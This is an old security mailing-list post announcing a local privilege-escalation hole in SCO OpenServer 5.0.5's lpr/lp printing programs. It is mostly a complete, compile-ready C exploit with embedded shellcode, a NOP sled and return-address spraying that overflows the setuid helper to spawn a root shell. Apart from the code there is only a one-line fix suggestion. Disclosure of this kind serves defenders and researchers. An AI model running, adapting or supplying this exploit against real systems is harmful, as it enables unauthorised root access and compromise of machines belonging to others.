Date: Tue, 14 Sep 1999 18:06:27 -0500
From: Brock Tellier <[email protected]>
To: [email protected]Subject: SCO 5.0.5 lpr local root exploit
Greetings,
There is a hole in SCO 5.0.5, probably 5.0.x, /usr/bin/lpr. Or more
accurately, /usr/lpd/remote/lp, which lpr execs and passes your command
line args on to. This means that while /usr/bin/lpr is sgid lp, we'll
still get a rootshell because /usr/lpd/remote/lp is suid root/sgid
daemon. I haven't looked into the remote angle of this exploit, though
the pathname is hardly encouraging.
FIX: I would recommend a recursive directory sbit-search-and-destroy if
you're running SCO..
-Brock
--- cut ---
/*
* sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell
* Tested on SCO 5.0.5+Skunkware98
*
* Compile gcc -o sco_lpr sco_lpr.c
* sco_lpr <offset> <bufsiz>
*
* -Brock Tellier [email protected]
*/
#include <stdlib.h>
#include <stdio.h>
char scoshell[]= /* [email protected] */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define LEN 3000
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
long int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
buflen=atoi(argv[2]);
}
else {
offset=1800;
buflen=1500;
}
addr=get_sp();
fprintf(stderr, "SCO 5.0.5 lpr exploit\n");
fprintf(stderr, "Brock Tellier [email protected]\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
execl("/usr/bin/lpr", "lpr", "-o", buf, NULL);
exit(0);
}
--- cut ---
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com
